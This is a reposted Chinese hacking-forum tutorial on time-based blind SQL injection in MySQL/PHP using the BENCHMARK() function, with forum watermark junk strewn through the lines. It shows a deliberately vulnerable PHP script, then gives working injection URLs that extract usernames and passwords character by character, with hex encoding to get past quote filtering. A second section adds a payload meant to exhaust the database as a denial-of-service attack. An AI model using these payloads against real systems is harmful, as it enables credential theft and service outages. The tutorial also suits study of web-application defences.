中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 " M7 Y3 W! B7 y3 B# q2 T9 h
本文作者:SuperHei
6 ]3 I( @: n+ P5 Z. n6 t2 c. o: {文章性质:原创  N( }% Z+ A. @9 l/ H
发布日期:2005-01-02
; ^" s4 Q- B( c完成日期:2004-07-09 ) @3 a2 Y8 G+ w& L0 ?! r
第一部
$ L- Y- ?: o0 l3 t' b8 o* a
$ G1 [; t/ b2 Q利用时间推延进行注射---BENCHMARK函数在注射中的利用 3 j5 c/ w$ D3 K, T) Q
" }! p& _' W. M2 c5 j& h
一.前言/思路* V7 M) O9 R. O) ?

2 v- U0 v4 ~  i9 v' w0 o  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。" O$ w$ t: A" w) `& C5 z' m# \1 ?

4 T1 q3 f8 y7 T" \; W  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
9 {$ q# m. P: x( O) W, G1 Y
* |! g- C" ]9 |: q二.关于BENCHMARK函数
* A% R$ f  |0 X- R2 ^. |5 l5 c
& ^0 u  |' \/ l% e- x9 ^2 E, U) _4 O  在MySQL参考手册里可以看到如下描叙: + a( @$ a9 D. Q- E* I7 G
1 f- _9 Z$ s( d8 g# W0 }6 h

) X  W4 Z" }2 R9 S# r, @/ P0 W--------------------------------------------------------------------------------( c; J! c' C% ~; b$ b2 ]: d% w

% K) u& |  `: _' n9 PBENCHMARK(count,expr)
# Z! }% D# L2 o  d2 f! e4 ZBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
' e& }, J; @% R7 t$ R7 ~mysql> select BENCHMARK(1000000,encode("hello","goodbye")); & k% t+ y1 m4 t( T0 f: A
+----------------------------------------------+
$ w/ O2 ?  F* {6 j# F| BENCHMARK(1000000,encode("hello","goodbye")) | ( R8 N9 {# F0 ~( }+ M+ n
+----------------------------------------------+ + U5 G% h& i( o, z9 ?8 Y3 L
| 0 | . b% _- \" |# ~5 J& h8 G, x/ A
+----------------------------------------------+
4 y$ {" X0 `( q) \$ G: [1 row in set (4.74 sec)
' K2 x8 R! G5 _
. [5 v, ?1 G' c% T报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
7 S" Z1 N" ]" z1 d& V$ a- X( M7 _

+ N& b6 X' ?0 ]" N2 ?! T--------------------------------------------------------------------------------
5 N/ i8 ]5 M. n! k1 h& p2 T5 d1 O  X, s7 w7 u
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: $ G2 A+ p% L0 R& f1 F1 {

* K4 D1 t. p4 @. s* amysql> select md5( 'test' );
4 r$ I; q8 a$ w& F. ?+----------------------------------+
9 v+ C& X. [! P# u6 q| md5( 'test' ) | $ |& @0 x' p+ p5 J% r4 Z9 q$ |
+----------------------------------+ ! U& J+ d( l& w% I0 f4 k
| 098f6bcd4621d373cade4e832627b4f6 | - E! h' A# |2 N6 r0 D
+----------------------------------+
4 t- B7 o  |6 I( n% k; p3 {1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 2 i6 O* M; F; }  y% m: h
0 m6 w4 P. H# B- o5 v$ Z/ \3 h; m; ^
mysql> select benchmark( 500000, md5( 'test' ) ); 1 |5 K$ n0 \* v% m2 i
+------------------------------------+
$ C: B& h/ l4 O- B' ~| benchmark( 500000, md5( 'test' ) ) |
. s+ q4 Q5 d. ^0 W) G+------------------------------------+   ^6 v/ v! V8 W" }8 n# V
| 0 | + H5 o0 z. q& [) R
+------------------------------------+
7 D9 |) k) {6 c1 row in set (6.55 sec) 〈------------执行时间为6.55 sec% |9 [8 b% a* V4 `8 R' W9 v! ~
: |) |0 p  x% J  m( q
4 ~9 W/ D. A, F9 ]
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 . g5 U1 b) Y9 Y+ W6 v- N2 D0 V" P
1 K4 C: u, Z/ f. T$ d/ z
三.具体例子
* y- D- _6 ]$ a% t* c) a; J5 |$ i, Y, U1 ?; {
  首先我们看个简单的php代码:4 F/ l+ S0 _$ w, S: k8 t7 x: |+ x

  F$ K' ~2 m' o, X< ?php ! f1 G9 \5 f/ D/ s% C
$servername = "localhost"; % J8 B% Q: ^+ Y
$dbusername = "root";   P  V$ |/ n. s4 v' D  v) T/ R: L  }
$dbpassword = "";
' a8 Z  N2 D* E$dbname = "injection"; 3 F! A. w* P- X: k! U! Q* O

( F$ g/ j, W& N: a) qmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
+ f& G1 C  e, [, d4 c, K, k- s1 c. {5 q) v1 d' s
$sql = "SELECT * FROM article WHERE articleid=$id"; ) P( V4 E" z3 N' _0 Z; |
$result = mysql_db_query($dbname,$sql);
8 O5 i0 V4 ~6 P, Q$row = mysql_fetch_array($result);
( y6 r1 L' X5 i8 l" j/ V, g
' L( r# F( |. B# a( z1 xif (!$row)
+ ?( r; T9 o( _3 x4 ~' t" g{
3 t- I& w' R1 K7 Fexit;
6 T1 I# Q# \, W* x6 W9 c}
+ C5 s* }8 ^% X$ N; T?>
7 }7 B% }2 \; s, x; u 5 B! x# ]' _8 K
  C. y. g" ~; q8 [5 m
  数据库injection结构和内容如下:8 G& m, D; _# [! Y& u/ z$ X; e- x9 g/ M
6 t0 G# A% W/ z
# 数据库 : `injection` 1 J. U. Z9 h7 D% w2 s
#
: h/ n) D5 @7 z  a# X
8 m8 t5 P  P* x8 q7 x# -------------------------------------------------------- ; ?7 L2 k3 H$ g& }- R

% N0 e) C2 B0 r8 O3 M( t# 0 M8 z9 h2 s, l% o; \3 S
# 表的结构 `article`
5 Y2 m# S( D( E( J5 F4 w# % O, O! S1 {& \2 w& y4 a

; ^( _# k! `6 s! D  V9 [5 \* G& eCREATE TABLE `article` (
4 K! W) c- D$ o; n) I. c1 `7 c`articleid` int(11) NOT NULL auto_increment,
# X1 E* H) N1 q: B* f$ o% n`title` varchar(100) NOT NULL default '', & e/ X' e0 [7 j) k& E
`content` text NOT NULL, & a+ M/ {  f" o6 s5 f, h
PRIMARY KEY (`articleid`) 3 [% Y. q- B& t+ c( G7 P, G
) TYPE=MyISAM AUTO_INCREMENT=3 ;
% O8 \3 b9 L: m$ x: f' f- R4 t) S! @3 P+ g2 P0 Z
# + T0 _+ X1 X9 M4 v' x
# 导出表中的数据 `article`
. t6 ]; K9 G+ n# x7 a7 ?#
+ N- o, u, R4 |) R3 J' Z4 C) n$ @: F& P3 i' B2 P. y( G2 C7 w
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); " \$ H, @* E# ]
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ; V9 _  A- t$ f+ D, y
/ r0 \. k! ?' X" [6 T3 l5 b
# -------------------------------------------------------- ( M1 M2 S7 ^. F) Y8 V$ I% `

0 ]5 k6 Z3 V+ Y#
- [% w) q1 x+ _% k# 表的结构 `user`
% Q8 ]% r3 Q+ }#
! h/ b, Z/ I, Y. j5 [& R
) A" Z( ]% Z9 B5 c8 Y2 LCREATE TABLE `user` (
/ ]: d/ T1 i4 s. L& F& C`userid` int(11) NOT NULL auto_increment, : o2 w# Z/ h8 a6 C, d/ P0 r
`username` varchar(20) NOT NULL default '', + A! u' {% d8 p! Z! e* |
`password` varchar(20) NOT NULL default '', 2 i* ]" Y) w) X) ]
PRIMARY KEY (`userid`)
7 B8 i: v* m& E- U( Y  K) TYPE=MyISAM AUTO_INCREMENT=3 ; ) f( e" e0 Y8 d. v' Q# t

* u# |; _4 ?2 x% E) h# % J# k2 D* L& c+ q1 d1 `
# 导出表中的数据 `user` 2 t" G# @+ I' E$ O4 F- Y
#
( ?3 x3 @' y, g6 g4 d; @: b5 @: S9 O; e2 L% l/ A
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
% N, l- K- X% K+ k: g; P, _INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
9 E- |0 ], i# S$ ]8 Z, m
! H! p7 m; y: m  G2 R) \) \3 g
% M7 V- E* L( Z+ T  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" a5 x0 Y8 G% \" B  t- e% F8 v5 v  y
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
% ]( f4 U' i0 L3 o
2 K  d, }) Z/ i, U" j$ c) G( O) G) t2 L* M+ `0 q8 {
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* y" K, D4 J0 X5 }. b( r
# g5 U. l+ |' [. O8 \. t4 H
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
+ L, v$ }/ W. {) J: w% D3 P 6 L$ u; a1 M/ z0 p3 @
/ m9 f# o4 g% A' P- {
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 7 e0 e( P$ c5 y- c3 ?. G- F6 t+ p# W

. q( g3 @5 O; Z3 i" T9 T: W' N  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
( D. P. X- d2 L$ u/ Z3 I/ g+ R, Y
3 t4 }/ X8 `  F/ l/ ^, i2 o第二部
6 C  }" u! A0 N4 ^: [
: \9 [0 z) t  w& t6 {利用BENCHMARK函数进行ddos攻击
9 |' z( N( |  v1 R, y; g; y$ x2 {0 W  `4 O2 r- n
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
2 b6 b* m; ]3 c) M; u8 N. G2 Y) U! D; Z& M, L; T( \
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))3 Q  j, L. X' s+ y( O, b" [, K

/ j$ F" _- R( {) ]7 ^7 N
' H+ q" u+ l! K( K; D; {小结# Z$ ~! Z: }1 B" h5 @; H

  R. c0 W4 {: h6 N  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。' a& e$ V  d  n- P$ u; z
) K2 h) t1 h% H# Q
  
5 a5 h1 z: ]2 S




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2